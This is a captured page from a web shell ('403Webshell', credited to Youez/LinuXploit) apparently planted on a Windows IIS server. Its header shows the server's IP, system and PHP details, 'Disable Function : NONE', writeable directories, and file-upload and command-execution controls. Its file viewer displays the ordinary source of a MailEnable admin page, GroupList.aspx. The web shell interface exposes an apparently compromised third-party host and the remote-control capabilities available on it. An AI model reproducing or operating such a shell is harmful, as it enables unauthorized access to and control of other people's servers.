403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/Forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/Forms/GroupList.aspx
<%@ Register TagPrefix="uc1" TagName="uscStyleHeader" Src="../Controls/uscStyleHeader.ascx" %>
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="GroupList.aspx.vb" Inherits="MailEnable.Clients.WebAdmin.Mondo.GroupList" %>
<%@ Register TagPrefix="uscB1" TagName="uscButton" Src="../Controls/uscButton.ascx" %>
<%@ Register TagPrefix="uscS1" TagName="uscSearch" Src="../Controls/uscSearch.ascx" %>
<%@ Register TagPrefix="ucScriptsInclude" TagName="ScriptsInclude" Src="../Controls/ScriptsInclude.ascx" %>
<%@ Register TagPrefix="uscML1" TagName="uscMsgList" Src="../Controls/uscMessageList.ascx" %>
<%@ Register TagPrefix="uc2" TagName="uscLanguageTokenMondo" Src="../Controls/uscLanguageToken.ascx" %>
<uc2:uscLanguageTokenMondo id="uscToken" runat="server"></uc2:uscLanguageTokenMondo>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<title>MailEnable</title>
		<meta HTTP-EQUIV="content-type" CONTENT="text/html;charset=UTF-8" />
		<meta HTTP-EQUIV="Expires" CONTENT="0" />
		<meta http-equiv="Pragma" content="no-cache" />
		<meta http-equiv="Cache-Control" content="no-cache" />
		<bgsound id="BGSOUND_ID" LOOP="0" />
		<uc1:uscstyleheader id="UscStyleHeader1" runat="server"></uc1:uscstyleheader>
	    <ucScriptsInclude:ScriptsInclude id="ScriptsInclude1" runat="server"></ucScriptsInclude:ScriptsInclude>		
		<script type="text/javascript" language="javascript" src="../Scripts/LIBAjax.js"></script>
	    <script language="javascript" type="text/javascript" src="../Scripts/LIBCore.js"></script>		
		<script type="text/javascript" language="javascript" src="../Scripts/LIBCommon.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBScroll.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBKeyNavigation.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBDataItemList.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBJQLayout.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBDialogs.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBTimeout.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBDOMLibrary.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBGroupList.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBPopUpMenu.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBDebug.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBAdminList.js"></script>
		<script type="text/javascript" language="javascript" src="../Scripts/LIBSelectedItems.js"></script>
		
		<script type="text/javascript" language="javascript">
		<!-- 
			SkinRoot = '<%=Session("skin")%>';
			var gBrowserType = GetBrowserType();
			
			var winModalWindow;
			var sFeatures;
			
			var oAJAXHandler = null;
			var arrTableColumns = {};

			var SCROLLBAR_DIV = 'ME_ScrollControlDiv';
			var SCROLLBAR_TD = 'ME_ScrollControlTD';
			var DIV_SCROLL_TOOLTIP = 'divScrollTooltip';
			var DIV_SCROLL_TOOLTIP_TEXT = 'divScrollTooltipText';
			var ME_ScrollControl_Timeout = null;
	
			//set the initial sort column and order
			var gSortColumn = 'GroupName';
			var gSortOrder = 'Asc';
			var gSearchStr = '';
			
			var gSessionUsername = '<%=gSession_USERNAME%>';
			var gSessionAccount = '<%=gSession_ACCOUNT%>';
			var gSessionAuthRights = '<%=gSession_AUTH_RIGHTS%>';
			
			var DoubleClickDelayTimer=null;
			var ClickedItemID=null;

			var bchrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;

			var InfoDialog = null;

			var g_opt = {}; g_opt['ME_VALIDATIONTOKEN'] = '<%=Session.Item("ME_VALIDATIONTOKEN")%>'; //could be moved to masterpage

			function IgnoreEvents(e)
			{
				return false;
			}
			 
			window.onresize=function(e)
			{
				browserResize();
			}	
			
			function ShowWindow(Url, Title, Features)
			{
			    var windowFeatures = {
				    windowURL: Url,
				    windowName: Title,
				    width: 550,
				    height: 500,
				    resizable: 1,
				    centerBrowser: 1,
                    dependent:true
                };
                
				if (window.showModalDialog && !bchrome)
				{
				    windowFeatures.modal = true;
				    windowFeatures.modalArgument = window;
				    var returnVal = popupWindow(windowFeatures);
					
					if (returnVal && (returnVal == true))
					{
						RefreshList();
					}
					
					returnVal=null;
				}
				else
				{
					//Chrome & Opera Browsers...
					window.top.captureEvents (Event.CLICK|Event.FOCUS);
					window.top.onclick=IgnoreEvents;
					window.top.onfocus = HandleFocus;

					winModalWindow = popupWindow(windowFeatures);
                }
			}

			function HandleFocus()
			{
				if (winModalWindow)
				{
					if (!winModalWindow.closed)
					{
						winModalWindow.focus();
					}
					else
					{
						window.top.releaseEvents (Event.CLICK|Event.FOCUS);
					}
				}
				return false;
			}
			
			function IsPopupMenuActive(oSourceElement)
			{
				return IsElementAAncestorOfElementB(document.getElementById(LIST_ID), oSourceElement);
			}

			function IsPopupMenuCommandActive(ItemID, i)
			{
				if (ItemID.toUpperCase() != 'TREMPTY') {
					return true;
				}
				else {
					return false;
				}
			}

			function ProcessPopUp(sAction)
			{
				var menudiv = 'menudiv';
				
				switch (sAction)
				{
					case 'Edit':
						EditListItem(gPopupItemID);
						break;
					case 'Remove':
						RemoveListItem(gPopupItemID);
						break;
				}

				PopUp_HideMenu(menudiv);
				
				return false;
			}
			
			function ServerRequest(sCommand, sData, bUseCallback, sFrameName)
	        {
			    LIBAjax_ServerRequest(sCommand, sData, bUseCallback, sFrameName);
	        }
	        
	        function ProcessXMLResult(responseXML, FrameName)
			{
				var BaseNode = responseXML.getElementsByTagName("BASEELEMENT")[0]; 		
				if (BaseNode == null)
				{
					alert('ProcessXMLResult::Invalid response received from server. Missing BASEELEMENT tag');
					return false;
				}
				var oSchema = BaseNode.attributes.getNamedItem('SCHEMA');
				var oMethod = BaseNode.attributes.getNamedItem('METHOD');
				var sSchema;
				var sMethod;

				if (oSchema)
				{		
					sSchema = GetXMLValue(oSchema);
				}

				if (oMethod)
				{		
					sMethod = GetXMLValue(oMethod);
				}
						
				if (sSchema == 'GROUPS')
				{
					if ( sMethod == 'LIST-GROUPS' )
					{
						ProcessMessageList(BaseNode, arrTableColumns);
					}
					
					if (oWaitDialog != null)
					{
						oWaitDialog.Hide();
					}
				}
				
				if (sSchema == 'RESULT')
				{
					
				}
			}
			
			function ClearDoubleClickDelayTimer()
			{
				clearTimeout(DoubleClickDelayTimer);
				DoubleClickDelayTimer=null;
				return true;
			}
			
			function ProcessDoubleClick(ItemID)
			{
				//processes double click sequence for the list
				if ((DoubleClickDelayTimer) && (ItemID == ClickedItemID))
				{
					// if we have already signalled to load an item, we want to wait for 2 seconds pending the load of the next item
					ClearDoubleClickDelayTimer();
					ClickedItemID="";
					return true;
				}
				else
				{
					ClickedItemID = ItemID;
					if (DoubleClickDelayTimer)
					{
						clearTimeout(DoubleClickDelayTimer);
					}
					DoubleClickDelayTimer = setTimeout("ClearDoubleClickDelayTimer();", 500);	
					return false;
				}
			}
			
			function MsgListRowSelect(ItemID, CtrlKeyDown, ShiftKeyDown)
			{
				if ((ItemID == undefined) || (ItemID.length <= 0))
				{
					return false;
				}
				
				var iSelectedIndex = -1;
				
				// Unselect all rows in the list
        		DataItemList_UnselectAllRows(LIST_ID);
			
				// Now select the specified row
			    DataItemList_SelectRow(LIST_ID, ItemID);
			    
				iSelectedIndex = DataItemList_GetRowIndexByID(LIST_ID, ItemID);
				gCurrentSelectedIndex = iSelectedIndex;
				
				
				if (!gKeyAction && (ProcessDoubleClick(ItemID) == true))
				{
					// row is selected (not by key navigation; but rather by double click mouse event)
					ViewListItem(ItemID);
				}
				
				gItemsArrayCurrIndex = ItemsArray_GetCurrIndex(ItemID);
				gListItemSelected = true;
				
			}
			
			
			/*
			 * The following functions are required by various libraries in order for things to function
			 * correctly.
			 */
			 
			function DeleteSelectedListItems()
			{
				// Required by KeyNavigation LIB
			}
			
			
			function DeleteListItem(ItemID)
			{
				// Required by KeyNavigation LIB
				RemoveListItem(ItemID);
			}
			 
			function CopySelectedMessages(ListID, Folder)
			{
				// Empty implementation function needed by the KeyNavigation library...we don't actually support
				// copy action on contacts.
			}
			
			function PasteMessages(Folder)
			{
				// Empty implementation function needed by the KeyNavigation library...we don't actually support
				// copy/paste action on contacts.
			}
			
			function GetSelectedFolderPath()
			{
				// Empty implementation function needed by the KeyNavigation library
			}
			
			function DataItemList_CheckboxCallback(UID)
	        {
				// Empty implementation function needed by the DataItemList library
	        }
	        
	        function RefreshList()
	        {
				gListFirstLoad = true;
				DataItemList_ClearListContents(LIST_ID);
				ServerRequest("LIST-GROUPS", 'Postoffice=<%=Session.Item("AUTH_ACCOUNT")%>&Page=' + gCurrSelectedPage + '&IPP=' + gDataPageSize + '&SortField=' + gSortColumn + '&SortOrder=' + gSortOrder + gSearchStr, false, '');
				DataItemList_SetScrollRange();
            }
	        
	        function CheckKeyPress(EventObj)
	        {
				if (IsEnterKey(EventObj) == true)
				{
					DoSearch();
				}
	        }
	        
	        function DoSearch()
	        {
				var sSearchVal = document.getElementById("txtSearch").value;
				gSearchStr = "&Filter=" + encodeURIComponent(sSearchVal);
				
				gListFirstLoad = true;
				DataItemList_ClearListContents(LIST_ID);
				
				ServerRequest("LIST-GROUPS", 'Postoffice=<%=Session.Item("AUTH_ACCOUNT")%>&Page=1&IPP=' + gDataPageSize + '&SortField=' + gSortColumn + '&SortOrder=' + gSortOrder + gSearchStr, false, '');
				DataItemList_SetScrollRange();
            }
	        
	        function InitCols()
			{
				// NB: gNumDataColumns is used by other libraries to draw the list of items
				gNumDataColumns = SetContentsTableView(arrTableColumns);
				DataItemList_RenderColumnHeaders('MEMessageList', gNumDataColumns, arrTableColumns);
			}
			
			function SetContentsTableView(arrTableColumns) {

			    DataItemList_AddTableColumn(0, arrTableColumns, '', 'Status', 'left', 'dataTable_icon', 'dataTable_groups_header_icon', '', t_('[ME_TXT-SortByStatus]'), 'GraphicLabel');
			    DataItemList_AddTableColumn(1, arrTableColumns, 'GroupName', 'GroupName', 'left', 'dataTable_name', 'dataTable_name', t_('[ME_TXT-GroupName]'), t_('[ME_TXT-SortByGroupName]'), 'Label');
			    DataItemList_AddTableColumn(2, arrTableColumns, 'RecipientAddress', 'RecipientAddress', 'left', 'dataTable_noWidth', 'dataTable_noWidth', t_('[ME_TXT-Address]'), t_('[ME_TXT-SortByAddress]'), 'Label');
			    DataItemList_AddTableColumn(3, arrTableColumns, '', 'Action', 'left', 'dataTable_action', 'dataTable_action', t_('[ME_TXT-Action]'), '', 'Buttons');
				
				var iNumColumns = 4;
				
				return iNumColumns;
			}


			function PageLoad() 
			{
			    gSelectedIM = new SelectedItemsManager();
			    
				oWaitDialog = new ProgressDialog("GroupWaitDialog");
				oWaitDialog.Show({ Message: t_("[ME_TXT-LoadingGroups]") + "..." });
				
				// Retrieve list of mailboxes
				ServerRequest("LIST-GROUPS", 'Postoffice=<%=Session.Item("AUTH_ACCOUNT")%>&IPP=' + gDataPageSize, false, '');				
				gUnitScrollLength = GetDataItemRowHeight(document.getElementById(LIST_ID), gItemsPerPage,true)

				PopUp_ClearItems('menuItemsdiv');
				PopUp_AddItem('menuItemsdiv', '0', 'Edit', t_('[ME_TXT-Edit]'), 'dropDown_icon_edit');
				PopUp_AddItem('menuItemsdiv', '1', 'Remove', t_('[ME_TXT-Delete]'), 'dropDown_icon_delete');
				
		        ConfigureKeyEvents(1);
				ConfigureMouseEvents(1);
				ConfigureMouseWheelEvent(1);

				InfoDialog = new Dialog('InfoDialog', t_('[ME_TXT-Help]'), $('#InfoDialogContent'), { Width: 500 });
				InfoDialog.AddCloseAction();
		        
		        browserResize();
			}

			function browserResize()
			{
			    //alert("GroupList browserResize()");
			    AdminList_Resize();                
                ResizeControls();  //to rest the scrollbar
            }

            $(document).ready(function () {
                gScrollMode = GetBrowserScrollMode();
                AdminList_CreateScroller(document.getElementById('tblGroups_tr'), gScrollMode); 
                window.onload = PageLoad;
                browserResize();
            });
		// -->
		</script>
	</head>
	<body onload="PageLoad();" class="content_iframe" style="background-color:Transparent;" scroll="no">
		<form id="FrmGroupList" runat="server" onsubmit="return false" style="margin:0;padding:0;">
		  
		  <div class="bodyCol_folderList" id="content_header_js" style="float:left;">
		  
            <div class="toolbar_primary" id="toolbar_primary_js">
                <table class="toolbar_primary_table" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td class="toolbar_primary_table_left">
                        <div class="toolbar_primary_bttns_td_shell">
                            <uscB1:uscButton id="btnAdd" runat="server" ></uscB1:uscButton>
                        </div><!-- toolbar_primary_bttns_td_shell -->
                        <div class="bttn_toolbar_primary_divider"></div>
                    </td>
                    <td class="toolbar_primary_table_left_bttn">
                        <uscS1:uscSearch id="btnSearch" runat="server" FocusAction = "DataItemList_ToggleKeyNavigation(false);" KeyPressAction = "CheckKeyPress(event)"></uscS1:uscSearch>
                    </td>
                        <td class="toolbar_primary_table_bttn">
                            <!-- Bttn Info -->                            
                            <div class="bttn_toolbar_primary_shell" onselectstart="return false;" onclick="InfoDialog.Show()" title="<%=uscToken.GetText("[ME_TXT-Help]")%>">
                                <div class="bttn_toolbar_primary_left">
                                    <div class="toolbar_icon_info"></div>
                                </div>
                                <div class="bttn_toolbar_primary_right"></div>
                            </div>
                        </td>
                        <td class="toolbar_primary_table_bttn">
                        <!-- Bttn Refresh -->                            
                        <div class="bttn_toolbar_primary_shell" onselectstart="return false;" onclick="window.location.reload()" title="Refresh List">
                            <div class="bttn_toolbar_primary_left">
                                <div class="toolbar_icon_refresh"></div>
                            </div>
                            <div class="bttn_toolbar_primary_right"></div>
                        </div>
                    </td>
                  </tr>
                </table><!--toolbar_primary_table -->
            </div><!-- toolbar_primary -->
		  
            <div style="display:none;"> <!-- dialog content -->
                
                <div id="InfoDialogContent">
		            <div class="content_description">
		              <asp:Literal ID="litInstructions" Runat="server"></asp:Literal>
		            </div>
		        </div>
		        
		    </div>
		    
		  </div><!-- content_header_js -->
		  
		  <div class="clear_div"></div>
        <uscML1:uscMsgList id="tblGroups" runat="server"></uscML1:uscMsgList>		
		  

		    <!-- Scrollbar Tooltip -->
		    <div id="divScrollTooltip" style="Z-INDEX:1001;VISIBILITY:hidden;display:none;POSITION:absolute">
			    <TABLE cellpadding="4" cellspacing="0" border="0" class="ME_DialogBox" width="auto" height="auto">
			    <TR>
				    <TD class="ME_StandardText" nowrap><div id="divScrollTooltipText"></div>
				    </TD>
			    </TR>
			    </TABLE>
		    </div>
    		
		    <!-- Popup Menu -->
		    <div id="menudiv"  style="position:absolute;display:none;top:0px;left:0px;z-index:10099;" onmouseover="PopUp_MenuSetState(2);" onmouseout="PopUp_MenuOutOfScope(event, 'menudiv');">
		        <table id="menuItemsdiv" class="rightClickMenu_shell" cellspacing="0" cellpadding="0" onmouseover="PopUp_MenuSetState(1);">
			        <tbody>		
                        <tr>
                            <td class="rightClickMenu_shell_topleft"><div class="rightClickMenu_shell_topleft_div"></div></td>
                            <td class="rightClickMenu_shell_top"></td>
                            <td class="rightClickMenu_shell_topRight"></td>
                        </tr>
                        <tr>
                            <td class="rightClickMenu_shell_left"></td>
                            <td class="rightClickMenu_shell_mid">
                                <div class="rightClickMenu_body_shell">
                                    <ul>
                                        <!-- Popup row items get added here -->
                                    </ul>
                               </div>
                            </td>
                            <td class="rightClickMenu_shell_right"></td>
                        </tr>
                        <tr>
                            <td class="rightClickMenu_shell_botLeft"><div class="rightClickMenu_shell_botLeft_div"></div></td>
                            <td class="rightClickMenu_shell_bot"></td>
                            <td class="rightClickMenu_shell_botRight"></td>
                        </tr>
			        </tbody>			
		        </table>
		    </div>
            
            <div class="dataTable_footer"><span id="lblMessageCount">0</span> <%=uscToken.GetText("[ME_TXT-Groups]")%></div>
            
			<script>
			<!--
				InitCols();
			// -->
			</script>

		</form>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit